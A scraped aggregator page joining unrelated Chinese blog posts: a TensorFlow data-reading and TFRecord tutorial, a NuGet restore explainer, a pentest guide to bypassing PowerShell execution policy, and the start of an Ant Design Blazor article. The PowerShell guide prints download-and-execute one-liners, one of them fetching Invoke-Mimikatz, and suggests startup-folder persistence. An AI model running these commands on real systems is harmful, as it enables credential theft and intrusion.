26         # ex = tf.train.Example(
27         #     features=tf.train.Features(
28         #         feature={
29         #             "image": tf.train.Feature(
30         #                 bytes_list=tf.train.BytesList(
31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
32         #             "label": tf.train.Feature(
33         #                 int64_list=tf.train.Int64List(
34         #                     value=[im_l])),
35         #         }
36         #     )
37         # )
38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
39         data = tf.gfile.FastGFile(im_d, "rb").read()
40         ex = tf.train.Example(
41             features=tf.train.Features(
42                 feature={
43                     "image": tf.train.Feature(
44                         bytes_list=tf.train.BytesList(
45                             value=[data])), # 此時的data已經是bytes類型
46                     "label": tf.train.Feature(
47                         int64_list=tf.train.Int64List(
48                             value=[im_l])),
49                 }
50             )
51         )
52 
53         # 寫入將序列化之後的樣本
54         writer.write(ex.SerializeToString())
55     # 關閉寫入器
56     writer.close()

TFRecord文件打包案列

 

 1 import tensorflow as tf
 2 import cv2
 3 
 4 def read_TFRecord(file_list, batch_size=10):
 5     """
 6     讀取TFRecord文件
 7     :param file_list: 存放TFRecord的文件名,List
 8     :param batch_size: 每次讀取圖片的數量
 9     :return: 解析後圖片及對應的標籤
10     """
11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
12     reader = tf.TFRecordReader()
13     _, ex = reader.read(file_queue)
14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
15 
16     feature = {
17         'image': tf.FixedLenFeature([], tf.string),
18         'label': tf.FixedLenFeature([], tf.int64)
19     }
20     example = tf.parse_example(batch, features=feature)
21 
22     images = tf.decode_raw(example['image'], tf.uint8)
23     images = tf.reshape(images, [-1, 32, 32, 3])
24 
25     return images, example['label']
26 
27 
28 
29 def main():
30     # filelist = ['data/train.tfrecord']
31     filelist = ['data/test.tfrecord']
32     images, labels = read_TFRecord(filelist, 2)
33     with tf.Session() as sess:
34         sess.run(tf.local_variables_initializer())
35         coord = tf.train.Coordinator()
36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
37 
38         try:
39             while not coord.should_stop():
40                 for i in range(1):
41                     image_bth, _ = sess.run([images, labels])
42                     print(_)
43 
44                     cv2.imshow("image_0", image_bth[0])
45                     cv2.imshow("image_1", image_bth[1])
46                 break
47         except tf.errors.OutOfRangeError:
48             print('read done')
49         finally:
50             coord.request_stop()
51         coord.join(threads)
52         cv2.waitKey(0)
53         cv2.destroyAllWindows()
54 
55 if __name__ == "__main__":
56     main()

TFReord文件的讀取案列

 

,

內容概要:

單一數據讀取方式:

  第一種:slice_input_producer()

# 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
[images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

  第二種:string_input_producer()

# 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

reader = tf.WholeFileReader() # 定義文件讀取器
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

  !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

  !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

  !!!以上兩種方法都可以生成文件名隊列。

(隨機)批量數據讀取方式:

batchsize=2  # 每次讀取的樣本數量
tf.train.batch(tensors, batch_size=batchsize)
tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

  !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

 TFRecord文件的打包與讀取

 

 一、單一數據讀取方式

第一種:slice_input_producer()

def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

案例1:

import tensorflow as tf

images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
labels = [1, 2, 3, 4]

# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

# 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)

data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
print(type(data))   # <class 'list'>

with tf.Session() as sess:
    # sess.run(tf.local_variables_initializer())
    sess.run(tf.local_variables_initializer())
    coord = tf.train.Coordinator()  # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器

    for i in range(10):
        print(sess.run(data))

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image3.jpg', 3]
"""

  !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

  !!!num_epochs設置

 

 第二種:string_input_producer()

def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

文件讀取器

  不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

  該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

 案例2:讀取csv文件

iimport tensorflow as tf

filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']

file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
# reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
print(type(file_queue))

init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
with tf.Session() as sess:
    sess.run(init)
    coord = tf.train.Coordinator()
    threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    try:
        while not coord.should_stop():
            for i in range(6):
                print(sess.run([key, value]))
            break
    except tf.errors.OutOfRangeError:
        print('read done')
    finally:
        coord.request_stop()
    coord.join(threads)

"""
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
運行結果:
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
"""
"""
reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
運行結果:
[b'data/B.csv:1', b'4.jpg,4']
[b'data/B.csv:2', b'5.jpg,5']
[b'data/B.csv:3', b'6.jpg,6']
[b'data/C.csv:1', b'7.jpg,7']
[b'data/C.csv:2', b'8.jpg,8']
[b'data/C.csv:3', b'9.jpg,9']
"""

案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

import tensorflow as tf

filename = ['1.jpg', '2.jpg']
filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
reader = tf.WholeFileReader()              # 文件讀取器
key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes

with tf.Session() as sess:
    tf.local_variables_initializer().run()
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)

    for i in range(filename.__len__()):
        image_data = sess.run(value)
        with open('img_%d.jpg' % i, 'wb') as f:
            f.write(image_data)
    coord.request_stop()
    coord.join(threads)

 

 二、(隨機)批量數據讀取方式:

  功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

案例4:slice_input_producer() 與 batch()

import tensorflow as tf
import numpy as np

images = np.arange(20).reshape([10, 2])
label = np.asarray(range(0, 10))
images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果

batchsize = 6   # 每次獲取元素的數量
input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)

# 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
# image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)

with tf.Session() as sess:
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    for cnt in range(2):
        print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
        image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
        print(image_batch_v, label_batch_v, label_batch_v.__len__())

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
第1次獲取數據,每次batch=6...
[[ 0.  1.]
 [ 2.  3.]
 [ 4.  5.]
 [ 6.  7.]
 [ 8.  9.]
 [10. 11.]] [0 1 2 3 4 5] 6
第2次獲取數據,每次batch=6...
[[12. 13.]
 [14. 15.]
 [16. 17.]
 [18. 19.]
 [ 0.  1.]
 [ 2.  3.]] [6 7 8 9 0 1] 6
"""

 案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

 1 import tensorflow as tf
 2 import glob
 3 import cv2 as cv
 4 
 5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
 6     """
 7     從本地批量的讀取圖片
 8     :param filename: 圖片路徑(包括圖片的文件名),[]
 9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
12     :return: batch_size張圖片數據, Tensor
13     """
14     global new_img
15     # 創建文件隊列
16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
17     # 創建文件讀取器
18     reader = tf.WholeFileReader()
19     # 讀取文件隊列中的文件
20     _, img_bytes = reader.read(file_queue)
21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
22     # 對圖片進行解碼
23     if picture_format == ".bmp":
24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
25     elif picture_format == ".jpg":
26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
27     else:
28         pass
29     # 重新設置圖片的大小
30     # new_img = tf.image.resize_images(new_img, input_image_shape)
31     new_img = tf.reshape(new_img, input_image_shape)
32     # 設置圖片的數據類型
33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
34 
35     # return new_img
36     return tf.train.batch([new_img], batch_size)
37 
38 
39 def main():
40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
42     print(type(image_batch))
43     # image_path = glob.glob(r'.\*.jpg')
44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
45 
46     sess = tf.Session()
47     sess.run(tf.local_variables_initializer())
48     tf.train.start_queue_runners(sess=sess)
49 
50     image_batch = sess.run(image_batch)
51     print(type(image_batch))    # <class 'numpy.ndarray'>
52 
53     for i in range(image_batch.__len__()):
54         cv.imshow("win_"+str(i), image_batch[i])
55     cv.waitKey()
56     cv.destroyAllWindows()
57 
58 def start():
59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
62 
63 
64     with tf.Session() as sess:
65         sess.run(tf.local_variables_initializer())
66         coord = tf.train.Coordinator()      # 線程的協調器
67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
68         image_batch = sess.run(image_batch)
69         print(type(image_batch))    # <class 'numpy.ndarray'>
70 
71         for i in range(image_batch.__len__()):
72             cv.imshow("win_"+str(i), image_batch[i])
73         cv.waitKey()
74         cv.destroyAllWindows()
75 
76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
79         coord.request_stop()
80         coord.join(threads)
81 
82 
83 if __name__ == "__main__":
84     # main()
85     start()

從本地批量的讀取圖片案例

 

案列6:TFRecord文件打包與讀取

 1 def write_TFRecord(filename, data, labels, is_shuffler=True):
 2     """
 3     將數據打包成TFRecord格式
 4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
 5     :param data: 需要打包的文件路徑名;list
 6     :param labels: 對應文件的標籤;list
 7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
 8     :return: None
 9     """
10     im_data = list(data)
11     im_labels = list(labels)
12 
13     index = [i for i in range(im_data.__len__())]
14     if is_shuffler:
15         np.random.shuffle(index)
16 
17     # 創建寫入器,然後使用該對象寫入樣本example
18     writer = tf.python_io.TFRecordWriter(filename)
19     for i in range(im_data.__len__()):
20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
22 
23         # # 獲取當前的圖片數據  方式一:
24         # data = cv2.imread(im_d)
25         # # 創建樣本
26         # ex = tf.train.Example(
27         #     features=tf.train.Features(
28         #         feature={
29         #             "image": tf.train.Feature(
30         #                 bytes_list=tf.train.BytesList(
31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
32         #             "label": tf.train.Feature(
33         #                 int64_list=tf.train.Int64List(
34         #                     value=[im_l])),
35         #         }
36         #     )
37         # )
38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
39         data = tf.gfile.FastGFile(im_d, "rb").read()
40         ex = tf.train.Example(
41             features=tf.train.Features(
42                 feature={
43                     "image": tf.train.Feature(
44                         bytes_list=tf.train.BytesList(
45                             value=[data])), # 此時的data已經是bytes類型
46                     "label": tf.train.Feature(
47                         int64_list=tf.train.Int64List(
48                             value=[im_l])),
49                 }
50             )
51         )
52 
53         # 寫入將序列化之後的樣本
54         writer.write(ex.SerializeToString())
55     # 關閉寫入器
56     writer.close()

TFRecord文件打包案列

 

 1 import tensorflow as tf
 2 import cv2
 3 
 4 def read_TFRecord(file_list, batch_size=10):
 5     """
 6     讀取TFRecord文件
 7     :param file_list: 存放TFRecord的文件名,List
 8     :param batch_size: 每次讀取圖片的數量
 9     :return: 解析後圖片及對應的標籤
10     """
11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
12     reader = tf.TFRecordReader()
13     _, ex = reader.read(file_queue)
14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
15 
16     feature = {
17         'image': tf.FixedLenFeature([], tf.string),
18         'label': tf.FixedLenFeature([], tf.int64)
19     }
20     example = tf.parse_example(batch, features=feature)
21 
22     images = tf.decode_raw(example['image'], tf.uint8)
23     images = tf.reshape(images, [-1, 32, 32, 3])
24 
25     return images, example['label']
26 
27 
28 
29 def main():
30     # filelist = ['data/train.tfrecord']
31     filelist = ['data/test.tfrecord']
32     images, labels = read_TFRecord(filelist, 2)
33     with tf.Session() as sess:
34         sess.run(tf.local_variables_initializer())
35         coord = tf.train.Coordinator()
36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
37 
38         try:
39             while not coord.should_stop():
40                 for i in range(1):
41                     image_bth, _ = sess.run([images, labels])
42                     print(_)
43 
44                     cv2.imshow("image_0", image_bth[0])
45                     cv2.imshow("image_1", image_bth[1])
46                 break
47         except tf.errors.OutOfRangeError:
48             print('read done')
49         finally:
50             coord.request_stop()
51         coord.join(threads)
52         cv2.waitKey(0)
53         cv2.destroyAllWindows()
54 
55 if __name__ == "__main__":
56     main()

TFReord文件的讀取案列

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

nuget 包是如何還原的

nuget 包是如何還原的

Intro

一直以來從來都只是簡單的用 nuget 包,最近想折騰一個東西,需要自己搞一個 nuget 包的解析,用戶指定 nuget 包的名稱和版本,然後去解析對應的 nuget 包並添加引用到項目,
於是就想搞明白 nuget 包是怎麼還原的,對於本地已經下載了的 nuget 包又是怎麼找的

Nuget 包的引用

對於 dotnetcore 項目(這裏不算之前那種 project.json 的項目,只討論 *.csproj 這種項目),都是使用新的項目格式,PackageReference 模式

示例:

<PackageReference Include="WeihanLi.Common" Version="1.0.39" /> 

對於 dotnet framework 項目,如果使用 PackageReference 包格式和上面一樣,如果是傳統的 packages.config 包形式,會有一個 packages.config 的文件包含引用的 nuget 包,文件內容示例:

<?xml version="1.0" encoding="utf-8"?>
<packages>
  <package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
</packages>

本文主要說明 dotnetcore 這種 PackageReference 這種形式

nuget 包的還原

nuget 包在第一次從 nuget.org 或自己的包源上下載之後會存放在本地的一個文件夾中,下次再需要相同版本的包還原時就會直接從本地的包中獲取,而這個保存的文件夾是 nuget 配置的一部分,在網上可以找到一些修改 nuget 默認保存 packages 文件夾的位置,但是這些文章都很類似,都只是給出了一個解決方案然而並沒有說明為什麼要這麼做,這麼做的根據是什麼並沒有說明,其實這種解決方案是添加了一個默認的 nuget 配置文件,修改了 nuget 包保存的位置

nuget 配置

默認配置

nuget 會有一些默認的配置,可以參考官方文檔: https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section

nuget 配置中有一個 globalPackagesFolder 的配置,是用來指定默認的 nuget 包保存的位置,在 Windows 上默認的保存位置是 %userprofile%\.nuget\packages,在 Linux/Mac 上默認的保存位置是 ~/.nuget/packages,可以使用 nuget.configNuGet.Config 配置文件來修改默認的保存文件,除此之外,還可以通過環境變量的方式,配置 NUGET_PACKAGES 來修改默認 nuget 包保存的位置

默認配置文件

nuget 配置的默認配置文件,官方文檔:https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config#options

Windows 上默認配置文件的位置是 %AppData%\NuGet\NuGet.Config 這也是現在網上那些修改默認保存 nuget 包位置的解決方案,
Linux/Mac 上大多是 ~/.config/NuGet/NuGet.Config,有的可能是 ~/.nuget/NuGet/NuGet.Config(和系統版本有關係)

Windows 上默認是沒有這個配置文件的,添加這個默認配置文件之後就是全局作用的

創建 %AppData%\NuGet\NuGet.Config 這個默認的配置文件,然後在這個配置文件里配置 globalPackagesFolder 來修改默認的 nuget 包保存路徑

示例:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
  </packageSources>
  <config> 
    <add key="globalPackagesFolder" value="D:\nuget\packages" />
  </config>
</configuration>

Reference

  • https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section
  • https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

繞過PowerShell執行策略方法

前言:

默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

 

什麼是PowerShell執行策略?

PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

 

為什麼我們要繞過執行政策?

因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

Windows原生支持
能夠調用Windows API
能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
能夠避免被反病毒工具檢測
大多數應用程序白名單解決方案已將其標記為“受信任”
一種用於編寫許多開源Pentest工具包的媒介

 

如何查看執行策略

在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

Get-ExecutionPolicy

 

 

同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

繞過PowerShell執行策略

1、直接在Interactive PowerShell控制台中輸入powershell代碼
複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

Write-Host “It’s run!”;

 

 

2、echo腳本並將其通過管道傳遞到PowerShell
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

 

 

3、從文件讀取腳本並通過管道傳輸到PowerShell
使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile –

 

 

4、從遠程下載腳本並通過IEX執行
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

如無法使用github下載可換vps:

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

 

 

5、使用使用command命令
這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

例1:完整的命令

Powershell -command “Write-Host “Its run!””;

 

 

示例2:簡短命令(-c)

Powershell -c “Write-Host “It’s run!'”

可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

 

 

6、使用EncodeCommand命令
這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

例1: 完整的命令

$command = “Write-Host ‘Its run!'”

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通過簡短的命令使用編碼字符串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

 

 

7、使用Invoke-Command命令
這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

Invoke-command -scriptblock {Write-Host “Its run!”}

 

 

8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

這種方式經測試不可行。

域環境下:

 

工作組下:

 

 

9、使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

例1:使用Get-Content的完整命令

Get-Content .\demo.ps1 | Invoke-Expression

 

 

示例2:使用Get-Content的簡短命令

GC .\demo.ps1 | iex

 

 

10、使用“Bypass”繞過Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

 

 

11、使用“Unrestricted”標記Execution Policy
這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

 

 

12、使用“Remote-Signed”標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-signed標記腳本無法運行的

PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

 

 

13、通過交換AuthorizationManager禁用ExecutionPolicy
下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

Disable-ExecutionPolicy

.\demo.ps1

 

 

13、把ExcutionPolicy設置成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

Set-ExecutionPolicy Bypass -Scope Process

 

 

14、通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

 

15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

 

 

總結總結

使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

.NET進行客戶端Web開發又一利器 – Ant Design Blazor

你好,我是Dotnet9,繼上篇介紹Bootstrap風格的BlazorUI組件庫后,今天我來介紹另一款Blazor UI組件庫:一套基於 Ant Design 和 Blazor 的企業級組件庫。

本文導航:

  • 一、關於Ant Design Blazor
  • 二、Ant Design Blazor的社區貢獻
    • 2.1 項目關注度
    • 2.2 Ant Design官方認可
    • 2.3 微軟官方認可
  • 三、Ant Design Blazor UI庫介紹
  • 四、Ant Design Blazor後續計劃
  • 五、Ant Design Blazor技術交流

一、關於Ant Design Blazor

項目名稱:Ant Design Blazor

項目作者:James Yeung(社區發起者,目前項目參与度高,有較多貢獻者)

開源許可協議:MIT

項目地址:https://github.com/ant-design-blazor/ant-design-blazor

特性

  • 提煉自企業級中後台產品的交互語言和視覺風格。
  • 開箱即用的高質量 Blazor 組件,可在多種託管方式共享。
  • 支持基於 WebAssembly 的客戶端和基於 SignalR 的服務端 UI 事件交互。
  • 支持漸進式 Web 應用(PWA)
  • 使用 C# 構建,多範式靜態語言帶來高效的開發體驗。
  • ️ 基於 .NET Standard 2.1,可直接引用豐富的 .NET 類庫。
  • 可與已有的 ASP.NET Core MVC、Razor Pages 項目無縫集成。

關於開源協議:MIT

參考百度百科

被授權人權利

被授權人有權利使用、複製、修改、合併、出版發行、散布、再授權及販售軟件及軟件的副本。

被授權人可根據程序的需要修改授權條款為適當的內容。

被授權人義務

在軟件和軟件的所有副本中都必須包含版權聲明和許可聲明。

其他重要特性

此授權條款並非屬copyleft的自由軟件授權條款,允許在自由/開放源碼軟件或非自由軟件(proprietary software)所使用。

MIT的內容可依照程序著作權者的需求更改內容。此亦為MIT與BSD(The BSD license, 3-clause BSD license)本質上不同處。

